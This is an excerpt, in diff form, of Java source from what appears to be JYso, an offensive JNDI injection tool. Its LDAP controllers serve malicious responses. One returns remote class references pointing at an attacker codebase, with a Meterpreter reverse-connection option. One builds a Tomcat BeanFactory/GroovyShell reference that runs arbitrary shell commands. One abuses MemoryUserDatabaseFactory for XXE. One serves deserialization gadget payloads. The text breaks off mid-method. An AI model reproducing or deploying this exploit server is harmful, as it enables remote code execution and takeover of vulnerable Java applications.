||||
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
|
||||
private String segment(String base, int index) {
|
||||
return getStringQ(base, index);
|
||||
}
|
||||
|
||||
// 返回连字符后的子串,用于解析自定义类名。
|
||||
private String suffixAfterDash(String value) {
|
||||
int dashIndex = value.indexOf('-');
|
||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.URLDNS;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.JYso.template.Meterpreter;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.net.URL;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
import java.util.Locale;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@LdapMapping(uri = {"/basic"})
|
||||
public class BasicController implements LdapController {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(BasicController.class);
|
||||
private static String payloadType;
|
||||
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
|
||||
private final String codebase = Config.codeBase;
|
||||
// 存放从 LDAP 路径中解析出的命令或连接参数。
|
||||
private String[] params = new String[0];
|
||||
private GadgetType gadgetType;
|
||||
|
||||
static String getStringQ(String base, int index) {
|
||||
int cursor = 0;
|
||||
int found = 0;
|
||||
while (cursor < base.length()) {
|
||||
int nextSlash = base.indexOf('/', cursor);
|
||||
if (nextSlash == -1) nextSlash = base.length();
|
||||
|
||||
if (nextSlash > cursor) {
|
||||
if (found == index) {
|
||||
return base.substring(cursor, nextSlash);
|
||||
}
|
||||
found++;
|
||||
}
|
||||
cursor = nextSlash + 1;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry entry = new Entry(base);
|
||||
String className = resolvePayloadClass();
|
||||
URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class");
|
||||
|
||||
System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
|
||||
entry.addAttribute("javaClassName", "foo");
|
||||
entry.addAttribute("javaCodeBase", codebase);
|
||||
entry.addAttribute("objectClass", "javaNamingReference");
|
||||
entry.addAttribute("javaFactory", className);
|
||||
result.sendSearchEntry(entry);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
}
|
||||
}
|
||||
|
||||
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI Remote Reference Links ");
|
||||
try {
|
||||
String normalized = base.replace('\\', '/');
|
||||
payloadType = segment(normalized, 1);
|
||||
if (payloadType.isEmpty()) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||
}
|
||||
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
gadgetType = parseGadgetType(normalized);
|
||||
params = resolveParams(normalized);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
|
||||
// 根据 payload 标识返回需要加载的实现类名称。
|
||||
private String resolvePayloadClass() throws Exception {
|
||||
if (payloadType.contains("E-")) {
|
||||
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
|
||||
return echoClass.getName();
|
||||
}
|
||||
|
||||
if (payloadType.contains("M-")) {
|
||||
return Gadgets.createClassB(suffixAfterDash(payloadType));
|
||||
}
|
||||
|
||||
if (payloadType.contains("command")) {
|
||||
if (params.length == 0) {
|
||||
throw new IncorrectParamsException("Missing command parameters.");
|
||||
}
|
||||
// 待写
|
||||
}
|
||||
|
||||
if (payloadType.contains("msf")) {
|
||||
return Meterpreter.class.getName();
|
||||
}
|
||||
|
||||
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
||||
}
|
||||
|
||||
// 读取路径中的 gadget 片段并转换为枚举值。
|
||||
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||
String segment = segment(base, 2);
|
||||
if (segment.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||
} catch (IllegalArgumentException ignored) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||
}
|
||||
}
|
||||
|
||||
// 根据 gadget 类型构建命令行或回连配置参数。
|
||||
private String[] resolveParams(String base) throws Exception {
|
||||
if (gadgetType == null) {
|
||||
return new String[0];
|
||||
}
|
||||
|
||||
switch (gadgetType) {
|
||||
case base64:
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
return new String[]{cmd};
|
||||
case shell:
|
||||
String encoded = Utils.getCmdFromBase(base);
|
||||
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
|
||||
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||
return decoded.split(" ");
|
||||
case msf:
|
||||
String[] results = Utils.getIPAndPortFromBase(base);
|
||||
Config.rhost = results[0];
|
||||
Config.rport = results[1];
|
||||
System.out.println(" RemoteHost: " + results[0]);
|
||||
System.out.println(" RemotePort: " + results[1]);
|
||||
return results;
|
||||
default:
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
|
||||
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
|
||||
private String segment(String base, int index) {
|
||||
return getStringQ(base, index);
|
||||
}
|
||||
|
||||
// 返回连字符后的子串,用于解析自定义类名。
|
||||
private String suffixAfterDash(String value) {
|
||||
int dashIndex = value.indexOf('-');
|
||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,72 +1,72 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
/*
|
||||
* Requires:
|
||||
* - Tomcat and Groovy in classpath
|
||||
*
|
||||
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
|
||||
*
|
||||
* Groovy 语法参考:
|
||||
* - https://xz.aliyun.com/t/8231#toc-7
|
||||
* - https://my.oschina.net/jjyuangu/blog/1815945
|
||||
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
||||
*/
|
||||
|
||||
@LdapMapping(uri = {"/groovy"})
|
||||
public class GroovyController implements LdapController {
|
||||
private String[] params;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=evaluate"));
|
||||
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
|
||||
" ['cmd','/C', '${cmd}'].execute();\n" +
|
||||
" } else {\n" +
|
||||
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
|
||||
" }";
|
||||
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
|
||||
|
||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI LDAP Local Reference Links + Groovy");
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
/*
|
||||
* Requires:
|
||||
* - Tomcat and Groovy in classpath
|
||||
*
|
||||
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
|
||||
*
|
||||
* Groovy 语法参考:
|
||||
* - https://xz.aliyun.com/t/8231#toc-7
|
||||
* - https://my.oschina.net/jjyuangu/blog/1815945
|
||||
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
||||
*/
|
||||
|
||||
@LdapMapping(uri = {"/groovy"})
|
||||
public class GroovyController implements LdapController {
|
||||
private String[] params;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=evaluate"));
|
||||
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
|
||||
" ['cmd','/C', '${cmd}'].execute();\n" +
|
||||
" } else {\n" +
|
||||
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
|
||||
" }";
|
||||
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
|
||||
|
||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI LDAP Local Reference Links + Groovy");
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,13 +1,13 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
|
||||
public interface LdapController {
|
||||
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
|
||||
|
||||
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
|
||||
public interface LdapController {
|
||||
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
|
||||
|
||||
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
|
||||
}
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
@Target(ElementType.TYPE)
|
||||
public @interface LdapMapping {
|
||||
String[] uri();
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
@Target(ElementType.TYPE)
|
||||
public @interface LdapMapping {
|
||||
String[] uri();
|
||||
}
|
||||
|
||||
@@ -1,65 +1,65 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/memoryxxe"})
|
||||
public class MemoryXXEController implements LdapController {
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String");
|
||||
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
|
||||
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
|
||||
ref.add(new StringRefAddr("pathname", params[0]));
|
||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
|
||||
if (thirdIndex != -1) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@LdapMapping(uri = {"/memoryxxe"})
|
||||
public class MemoryXXEController implements LdapController {
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String");
|
||||
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
|
||||
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
|
||||
ref.add(new StringRefAddr("pathname", params[0]));
|
||||
e.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
|
||||
System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
|
||||
if (thirdIndex != -1) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,118 +1,118 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
||||
|
||||
@LdapMapping(uri = {"/deserialization"})
|
||||
public class SerializedDataController implements LdapController {
|
||||
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
|
||||
public static String gadgetType;
|
||||
public static String cmd11;
|
||||
public static GadgetType gadgetType1;
|
||||
private String params;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
|
||||
byte[] bytes;
|
||||
|
||||
try {
|
||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(params);
|
||||
|
||||
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
|
||||
bytes = (byte[]) object;
|
||||
} else {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
bytes = Serializer.serialize(object, out);
|
||||
}
|
||||
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaSerializedData", bytes);
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
|
||||
System.out.println("- JNDI Deserialization Links ");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
try {
|
||||
gadgetType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||
}
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
int fourIndex = base.indexOf("/", thirdIndex + 1);
|
||||
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
|
||||
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
|
||||
// 若第三个斜杠不存在,则把其设置成为字符串的长度
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
PayloadType payloadType;
|
||||
try {
|
||||
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
|
||||
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
|
||||
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
|
||||
if (payloadType == PayloadType.sethttp) {
|
||||
params = BCEL1;
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
|
||||
}
|
||||
|
||||
if (payloadType == PayloadType.command) {
|
||||
|
||||
if (gadgetType1 == GadgetType.base64) {
|
||||
cmd11 = Utils.getCmdFromBase(base);
|
||||
}
|
||||
|
||||
if (gadgetType1 == GadgetType.base64Two) {
|
||||
String encodedString = Utils.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
|
||||
String T1 = new String(decodedBytes);
|
||||
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
|
||||
cmd11 = new String(decodedBytes1);
|
||||
}
|
||||
|
||||
params = cmd11;
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.enumtypes.PayloadType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
||||
|
||||
@LdapMapping(uri = {"/deserialization"})
|
||||
public class SerializedDataController implements LdapController {
|
||||
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
|
||||
public static String gadgetType;
|
||||
public static String cmd11;
|
||||
public static GadgetType gadgetType1;
|
||||
private String params;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
Entry e = new Entry(base);
|
||||
|
||||
byte[] bytes;
|
||||
|
||||
try {
|
||||
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(params);
|
||||
|
||||
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
|
||||
bytes = (byte[]) object;
|
||||
} else {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
bytes = Serializer.serialize(object, out);
|
||||
}
|
||||
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaSerializedData", bytes);
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
|
||||
System.out.println("- JNDI Deserialization Links ");
|
||||
try {
|
||||
